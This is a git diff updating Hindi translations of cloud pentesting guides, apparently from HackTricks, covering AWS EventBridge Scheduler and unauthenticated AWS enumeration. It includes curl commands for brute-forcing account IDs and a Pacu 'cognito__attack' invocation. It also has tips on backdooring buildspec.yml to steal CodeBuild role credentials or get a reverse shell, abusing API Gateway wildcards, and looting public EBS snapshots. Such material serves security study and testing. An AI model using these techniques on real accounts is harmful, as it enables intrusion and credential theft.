**One-time schedules** – एक विशिष्ट समय पर कार्य को निष्पादित करें, जैसे, 21 दिसंबर को सुबह 7 बजे UTC। -2. **Rate-based schedules** – एक आवृत्ति के आधार पर आवर्ती कार्य सेट करें, जैसे, हर 2 घंटे में। +2. **Rate-based schedules** – एक आवृत्ति के आधार पर आवर्ती कार्य सेट करें, जैसे, हर 2 घंटे। 3. **Cron-based schedules** – एक क्रोन अभिव्यक्ति का उपयोग करके आवर्ती कार्य सेट करें, जैसे, हर शुक्रवार को शाम 4 बजे। -Failed Events को संभालने के लिए दो तंत्र: +असफल घटनाओं को संभालने के लिए दो तंत्र: -1. **Retry Policy** – एक विफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे विफलता मानने से पहले कितनी देर तक अप्रक्रमित रखा जाए। -2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां विफल घटनाएँ पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं। +1. **Retry Policy** – एक असफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे असफलता मानने से पहले इसे कितनी देर तक अप्रक्रमित रखा जाए। +2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां असफल घटनाएं पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं। ### Targets -एक शेड्यूलर के लिए 2 प्रकार के लक्ष्यों होते हैं [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), जो सामान्यतः उपयोग किए जाते हैं और AWS ने उन्हें कॉन्फ़िगर करना आसान बना दिया है, और [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), जिसका उपयोग किसी भी AWS API को कॉल करने के लिए किया जा सकता है। +एक शेड्यूलर के लिए 2 प्रकार के लक्ष्य हैं [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), जो सामान्यतः उपयोग किए जाते हैं और AWS ने उन्हें कॉन्फ़िगर करना आसान बना दिया है, और [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), जिसका उपयोग किसी भी AWS API को कॉल करने के लिए किया जा सकता है। **Templated targets** निम्नलिखित सेवाओं का समर्थन करते हैं: @@ -66,7 +66,7 @@ aws scheduler list-tags-for-resource --resource-arn ``` ### Privesc -In the following page, you can check how to **eventbridge scheduler अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: +निम्नलिखित पृष्ठ पर, आप **इवेंटब्रिज शेड्यूलर अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index c2eb1369b..2dca42802 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## AWS क्रेडेंशियल लीक -AWS खाते तक पहुँच या जानकारी प्राप्त करने का एक सामान्य तरीका है **लीक के लिए खोज करना**। आप **गूगल डॉर्क्स** का उपयोग करके, **संगठन** के **सार्वजनिक रिपोजिटरी** और संगठन के **कर्मचारियों** की **Github** या अन्य प्लेटफार्मों पर जांच करके, **क्रेडेंशियल लीक डेटाबेस** में खोज करके... या किसी अन्य भाग में जहाँ आपको कंपनी और इसके क्लाउड इंफ्रास्ट्रक्चर के बारे में कोई जानकारी मिल सकती है, लीक के लिए खोज कर सकते हैं।\ +AWS खाते तक पहुँच या जानकारी प्राप्त करने का एक सामान्य तरीका है **लीक के लिए खोज करना**। आप **गूगल डॉर्क्स** का उपयोग करके, **संगठन** के **सार्वजनिक रिपोजिटरी** और संगठन के **कर्मचारियों** की **Github** या अन्य प्लेटफार्मों पर जांच करके, **क्रेडेंशियल लीक डेटाबेस** में खोज करके... या किसी अन्य भाग में जहाँ आपको कंपनी और उसके क्लाउड इंफ्रास्ट्रक्चर के बारे में कोई जानकारी मिल सकती है, लीक के लिए खोज सकते हैं।\ कुछ उपयोगी **उपकरण**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -13,9 +13,9 @@ AWS खाते तक पहुँच या जानकारी प्र ## AWS अनधिकृत Enum और एक्सेस -AWS में कई सेवाएँ हैं जिन्हें इस प्रकार कॉन्फ़िगर किया जा सकता है कि सभी इंटरनेट या अपेक्षा से अधिक लोगों को कुछ प्रकार की पहुँच दी जा सके। यहाँ देखें कैसे: +AWS में कई सेवाएँ हैं जिन्हें इस प्रकार कॉन्फ़िगर किया जा सकता है कि सभी इंटरनेट या अपेक्षा से अधिक लोगों को कुछ प्रकार का एक्सेस दिया जा सके। यहाँ देखें कैसे: -- [**खाते अनधिकृत Enum**](aws-accounts-unauthenticated-enum.md) +- [**खातों का अनधिकृत Enum**](aws-accounts-unauthenticated-enum.md) - [**Cloud9 अनधिकृत Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) - [**Cloudfront अनधिकृत Enum**](aws-cloudfront-unauthenticated-enum.md) - [**Cloudsearch अनधिकृत Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -25,8 +25,8 @@ AWS में कई सेवाएँ हैं जिन्हें इस - [**Elasticsearch अनधिकृत Enum**](aws-elasticsearch-unauthenticated-enum.md) - [**IAM अनधिकृत Enum**](aws-iam-and-sts-unauthenticated-enum.md) - [**IoT अनधिकृत एक्सेस**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video अनधिकृत एक्सेस**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media अनधिकृत एक्सेस**](aws-media-unauthenticated-enum.md) +- [**Kinesis वीडियो अनधिकृत एक्सेस**](aws-kinesis-video-unauthenticated-enum.md) +- [**मीडिया अनधिकृत एक्सेस**](aws-media-unauthenticated-enum.md) - [**MQ अनधिकृत एक्सेस**](aws-mq-unauthenticated-enum.md) - [**MSK अनधिकृत एक्सेस**](aws-msk-unauthenticated-enum.md) - [**RDS अनधिकृत एक्सेस**](aws-rds-unauthenticated-enum.md) @@ -34,9 +34,9 @@ AWS में कई सेवाएँ हैं जिन्हें इस - [**SQS अनधिकृत एक्सेस**](aws-sqs-unauthenticated-enum.md) - [**S3 अनधिकृत एक्सेस**](aws-s3-unauthenticated-enum.md) -## क्रॉस खाता हमले +## क्रॉस अकाउंट हमले -बातचीत [**आइसोलेशन को तोड़ना: क्रॉस-खाता AWS कमजोरियाँ**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) में प्रस्तुत किया गया है कि कैसे कुछ सेवाएँ किसी भी AWS खाते को उन तक पहुँचने की अनुमति देती हैं क्योंकि **AWS सेवाएँ बिना खाता आईडी निर्दिष्ट किए** अनुमति दी गई थीं। +बातचीत में [**आइसोलेशन को तोड़ना: क्रॉस-खाता AWS कमजोरियाँ**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) में प्रस्तुत किया गया है कि कुछ सेवाएँ किसी भी AWS खाते को उन तक पहुँचने की अनुमति देती हैं क्योंकि **AWS सेवाएँ बिना खाते के ID निर्दिष्ट किए** अनुमति दी गई थीं। बातचीत के दौरान वे कई उदाहरणों को निर्दिष्ट करते हैं, जैसे S3 बकेट **क्लाउडट्रेल** (किसी भी AWS खाते) को **उनमें लिखने** की अनुमति देते हैं: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 4bd778191..17b2b1223 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## खाता आईडी -यदि आपके पास एक लक्ष्य है, तो लक्ष्य से संबंधित खातों की खाता आईडी पहचानने के तरीके हैं। +यदि आपके पास एक लक्ष्य है, तो लक्ष्य से संबंधित खाता आईडी की पहचान करने के तरीके हैं। ### ब्रूट-फोर्स @@ -16,25 +16,25 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +आप इस प्रक्रिया को [इस उपकरण के साथ स्वचालित कर सकते हैं](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py)। ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **संगठन से संबंधित उपनाम**. +उन URLs की तलाश करें जो `.signin.aws.amazon.com` को **संगठन से संबंधित एक उपनाम** के साथ शामिल करते हैं। ### Marketplace -If a vendor has **बाजार में उदाहरण,** you can get the owner id (account id) of the AWS account he used. +यदि किसी विक्रेता के **मार्केटप्लेस में उदाहरण हैं,** तो आप उस AWS खाते का मालिक आईडी (खाता आईडी) प्राप्त कर सकते हैं जिसका उसने उपयोग किया। ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- सार्वजनिक EBS स्नैपशॉट (EC2 -> Snapshots -> Public Snapshots) +- RDS सार्वजनिक स्नैपशॉट (RDS -> Snapshots -> All Public Snapshots) +- सार्वजनिक AMIs (EC2 -> AMIs -> Public images) ### Errors -Many AWS error messages (even access denied) will give that information. +कई AWS त्रुटि संदेश (यहां तक कि एक्सेस अस्वीकृत) उस जानकारी को देंगे। ## References diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 4ef58c8ef..9497c8030 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,7 +4,7 @@ ### API Invoke bypass -के अनुसार [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers को **IAM सिंटैक्स** का उपयोग करके API एंडपॉइंट्स को कॉल करने की अनुमति देने के लिए कॉन्फ़िगर किया जा सकता है। यह [**दस्तावेज़ों से लिया गया है**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +के अनुसार [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers को API एंडपॉइंट्स को कॉल करने के लिए अनुमति देने के लिए **IAM सिंटैक्स** का उपयोग करके कॉन्फ़िगर किया जा सकता है। यह [**docs से लिया गया है**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -19,34 +19,34 @@ ] } ``` -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +इस तरीके से एंडपॉइंट्स को इनवोक करने के लिए अनुमति देने की समस्या यह है कि **"\*" का अर्थ "कुछ भी" है** और **कोई और regex सिंटैक्स समर्थित नहीं है**। -Some examples: +कुछ उदाहरण: -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- एक नियम जैसे `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` ताकि प्रत्येक उपयोगकर्ता को `/dashboard/user/{username}` तक पहुंच मिल सके, उन्हें अन्य मार्गों तक भी पहुंच मिल जाएगी जैसे कि `/admin/dashboard/createAdmin` उदाहरण के लिए। > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> ध्यान दें कि **"\*" स्लैश के साथ विस्तारित होना बंद नहीं होता**, इसलिए, यदि आप उदाहरण के लिए api-id में "\*" का उपयोग करते हैं, तो यह "किसी भी चरण" या "किसी भी विधि" को भी इंगित कर सकता है जब तक अंतिम regex अभी भी मान्य है।\ +> इसलिए `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> उदाहरण के लिए `/prod/GET/dashboard/admin` पथ पर परीक्षण चरण के लिए एक पोस्ट अनुरोध को मान्य कर सकता है। -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +आपको हमेशा स्पष्ट होना चाहिए कि आप किसे पहुंच देने की अनुमति देना चाहते हैं और फिर जांचें कि क्या अनुमतियों के साथ अन्य परिदृश्य संभव हैं। -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +अधिक जानकारी के लिए, [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) के अलावा, आप [**इस आधिकारिक aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints) में ऑथराइज़र्स को लागू करने के लिए कोड पा सकते हैं। -### IAM Policy Injection +### IAM नीति इंजेक्शन -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. +उसी [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) में यह बताया गया है कि यदि कोड **उपयोगकर्ता इनपुट** का उपयोग करके **IAM नीतियों** को **जनरेट** कर रहा है, तो वहां वाइल्डकार्ड (और अन्य जैसे "." या विशिष्ट स्ट्रिंग) शामिल किए जा सकते हैं जिसका लक्ष्य **प्रतिबंधों को बायपास करना** है। -### Public URL template +### सार्वजनिक URL टेम्पलेट ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` -### Get Account ID from public API Gateway URL +### सार्वजनिक API गेटवे URL से खाता आईडी प्राप्त करें -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी को जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प हैं)। +S3 बकेट, डेटा एक्सचेंज और लैम्ब्डा URL गेटवे की तरह, एक सार्वजनिक API गेटवे URL से **`aws:ResourceAccount`** **पॉलिसी कंडीशन की** का दुरुपयोग करके एक खाते की खाता आईडी ढूंढना संभव है। यह पॉलिसी के **`aws:ResourceAccount`** अनुभाग में वाइल्डकार्ड का दुरुपयोग करके एक बार में एक अक्षर खाता आईडी खोजकर किया जाता है।\ +यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प होते हैं)। -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index a0e441a5c..5ea1d3a2b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - CodeBuild Unauthenticated Access +# AWS - CodeBuild अनधिकृत पहुँच {{#include ../../../banners/hacktricks-training.md}} @@ -12,9 +12,9 @@ ### buildspec.yml -यदि आप **`buildspec.yml`** नामक फ़ाइल वाले एक रिपॉजिटरी पर लिखने की पहुंच को समझौता करते हैं, तो आप इस फ़ाइल को **backdoor** कर सकते हैं, जो **आदेशों को निर्दिष्ट करता है जो एक CodeBuild प्रोजेक्ट के अंदर निष्पादित होने वाले हैं** और रहस्यों को निकाल सकते हैं, जो किया जा रहा है उसे समझौता कर सकते हैं और साथ ही **CodeBuild IAM भूमिका क्रेडेंशियल्स** को भी समझौता कर सकते हैं। +यदि आप **`buildspec.yml`** नामक फ़ाइल वाले एक रिपॉजिटरी पर लिखने की पहुँच को समझौता करते हैं, तो आप इस फ़ाइल को **backdoor** कर सकते हैं, जो **आदेशों को निर्दिष्ट करती है जो एक CodeBuild प्रोजेक्ट के अंदर निष्पादित होने वाले हैं** और रहस्यों को निकाल सकते हैं, जो किया जा रहा है उसे समझौता कर सकते हैं और साथ ही **CodeBuild IAM भूमिका क्रेडेंशियल्स** को भी समझौता कर सकते हैं। -ध्यान दें कि भले ही कोई **`buildspec.yml`** फ़ाइल न हो, लेकिन यदि आप जानते हैं कि Codebuild का उपयोग किया जा रहा है (या कोई अन्य CI/CD) **कुछ वैध कोड को संशोधित करना** जो निष्पादित होने वाला है, उदाहरण के लिए, आपको एक रिवर्स शेल मिल सकता है। +ध्यान दें कि भले ही कोई **`buildspec.yml`** फ़ाइल न हो, लेकिन यदि आप जानते हैं कि Codebuild का उपयोग किया जा रहा है (या कोई अन्य CI/CD) **कुछ वैध कोड को संशोधित करना** जो निष्पादित होने वाला है, आपको उदाहरण के लिए एक रिवर्स शेल भी मिल सकता है। कुछ संबंधित जानकारी के लिए आप Github Actions पर हमले के बारे में पृष्ठ देख सकते हैं (इससे मिलता-जुलता): @@ -22,9 +22,9 @@ ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild +## AWS CodeBuild में स्वयं-होस्टेड GitHub Actions रनर्स -जैसा कि [**दस्तावेज़ों में संकेतित है**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), यह संभव है कि **CodeBuild** को **self-hosted Github actions** चलाने के लिए कॉन्फ़िगर किया जाए जब एक वर्कफ़्लो एक कॉन्फ़िगर किए गए Github रिपॉजिटरी के अंदर ट्रिगर होता है। इसे CodeBuild प्रोजेक्ट कॉन्फ़िगरेशन की जांच करके पता लगाया जा सकता है क्योंकि **`Event type`** में शामिल होना चाहिए: **`WORKFLOW_JOB_QUEUED`** और एक Github वर्कफ़्लो में क्योंकि यह एक **self-hosted** रनर का चयन करेगा जैसे: +जैसा कि [**दस्तावेज़ों में संकेतित है**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild** को **स्वयं-होस्टेड Github क्रियाएँ** चलाने के लिए कॉन्फ़िगर करना संभव है जब एक कार्यप्रवाह एक कॉन्फ़िगर किए गए Github रिपॉजिटरी के अंदर ट्रिगर होता है। इसे CodeBuild प्रोजेक्ट कॉन्फ़िगरेशन की जाँच करके पता लगाया जा सकता है क्योंकि **`Event type`** में शामिल होना चाहिए: **`WORKFLOW_JOB_QUEUED`** और एक Github कार्यप्रवाह में क्योंकि यह एक **स्वयं-होस्टेड** रनर का चयन करेगा जैसे: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index b2ade4929..a8190c7bc 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -14,8 +14,8 @@ Cognito के बारे में बुनियादी जानका ### पहचान पूल आईडी -पहचान पूल **अनप्रमाणित उपयोगकर्ताओं** को **IAM भूमिकाएँ** प्रदान कर सकते हैं जो केवल **पहचान पूल आईडी** को **जानते हैं** (जो कि **खोजना** काफी सामान्य है), और इस जानकारी के साथ हमलावर उस **IAM भूमिका** तक पहुँचने और इसका दुरुपयोग करने की कोशिश कर सकता है।\ -इसके अलावा, IAM भूमिकाएँ उन **प्रमाणित उपयोगकर्ताओं** को भी सौंपे जा सकते हैं जो पहचान पूल तक पहुँचते हैं। यदि एक हमलावर **एक उपयोगकर्ता पंजीकृत** कर सकता है या पहले से ही पहचान पूल में उपयोग किए जाने वाले **पहचान प्रदाता** तक **पहुँच** रखता है, तो वह **प्रमाणित** उपयोगकर्ताओं को दी गई **IAM भूमिका** तक पहुँच सकता है और इसके विशेषाधिकारों का दुरुपयोग कर सकता है। +पहचान पूल **अनप्रमाणित उपयोगकर्ताओं** को **IAM भूमिकाएँ** प्रदान कर सकते हैं जो केवल **पहचान पूल आईडी** को **जानते हैं** (जो **खोजना** काफी सामान्य है), और इस जानकारी के साथ एक हमलावर **IAM भूमिका** तक पहुँचने और इसका दुरुपयोग करने की कोशिश कर सकता है।\ +इसके अलावा, IAM भूमिकाएँ उन **प्रमाणित उपयोगकर्ताओं** को भी सौंपे जा सकते हैं जो पहचान पूल तक पहुँचते हैं। यदि एक हमलावर **एक उपयोगकर्ता को पंजीकृत** कर सकता है या पहले से ही पहचान पूल में उपयोग किए जाने वाले **पहचान प्रदाता** तक **पहुँच** रखता है, तो आप **प्रमाणित** उपयोगकर्ताओं को दी गई **IAM भूमिका** तक पहुँच सकते हैं और इसके विशेषाधिकारों का दुरुपयोग कर सकते हैं। [**यहाँ देखें कि ऐसा कैसे करें**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). @@ -25,7 +25,7 @@ Cognito के बारे में बुनियादी जानका ### पैकू मॉड्यूल्स पेंटेस्टिंग और एन्यूमरेशन के लिए -[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की एन्यूमरेशन को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं आदि के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है। +[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की एन्यूमरेशन को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, पहुँच नियंत्रण के लिए उपयोगकर्ता विशेषताएँ, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं आदि के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है। मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। @@ -37,7 +37,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि एकत्र करने के लिए: +सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index 3712e4f1f..2a5fb0e06 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -10,6 +10,6 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -AWS या कुछ समझौता किए गए बाहरी AWS खाते तक पहुँच देने के अलावा, या किसी एप्लिकेशन में SQL इंजेक्शन होने के कारण जो DynamoDB के साथ संचार करता है, मुझे DynamoDB से AWS खातों तक पहुँचने के और विकल्प नहीं पता हैं। +AWS या कुछ समझौता किए गए बाहरी AWS खाते तक पहुँच देने के अलावा, या DynamoDB के साथ संवाद करने वाले किसी एप्लिकेशन में कुछ SQL इंजेक्शन होने के अलावा, मुझे DynamoDB से AWS खातों तक पहुँचने के और विकल्प नहीं पता हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index c93b0c481..4fae2ae6a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} -## EC2 & संबंधित सेवाएँ +## EC2 और संबंधित सेवाएँ इस पृष्ठ पर इसके बारे में अधिक जानकारी देखें: @@ -12,7 +12,7 @@ ### सार्वजनिक पोर्ट -यह **वर्चुअल मशीनों के किसी भी पोर्ट को इंटरनेट पर एक्सपोज़** करना संभव है। **जो चल रहा है** उस एक्सपोज़ किए गए पोर्ट पर एक हमलावर इसका दुरुपयोग कर सकता है। +यह **आभासी मशीनों के किसी भी पोर्ट को इंटरनेट पर उजागर करना** संभव है। **जो चल रहा है** उस उजागर पोर्ट पर एक हमलावर इसका दुरुपयोग कर सकता है। #### SSRF @@ -22,7 +22,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### सार्वजनिक AMIs और EBS स्नैपशॉट्स -AWS **किसी को भी AMIs और स्नैपशॉट्स डाउनलोड करने के लिए एक्सेस देने** की अनुमति देता है। आप अपने खाते से इन संसाधनों को बहुत आसानी से सूचीबद्ध कर सकते हैं: +AWS **किसी को भी AMIs और स्नैपशॉट्स डाउनलोड करने की अनुमति देता है**। आप अपने खाते से इन संसाधनों को बहुत आसानी से सूचीबद्ध कर सकते हैं: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -37,9 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -यदि आप एक स्नैपशॉट पाते हैं जो किसी द्वारा भी पुनर्स्थापित किया जा सकता है, तो सुनिश्चित करें कि आप [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) पर डाउनलोड करने और स्नैपशॉट लूटने के लिए निर्देशों की जांच करें। +यदि आप एक स्नैपशॉट पाते हैं जिसे कोई भी पुनर्स्थापित कर सकता है, तो सुनिश्चित करें कि आप स्नैपशॉट डाउनलोड करने और लूटने के लिए निर्देशों के लिए [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) की जांच करें। -#### सार्वजनिक URL 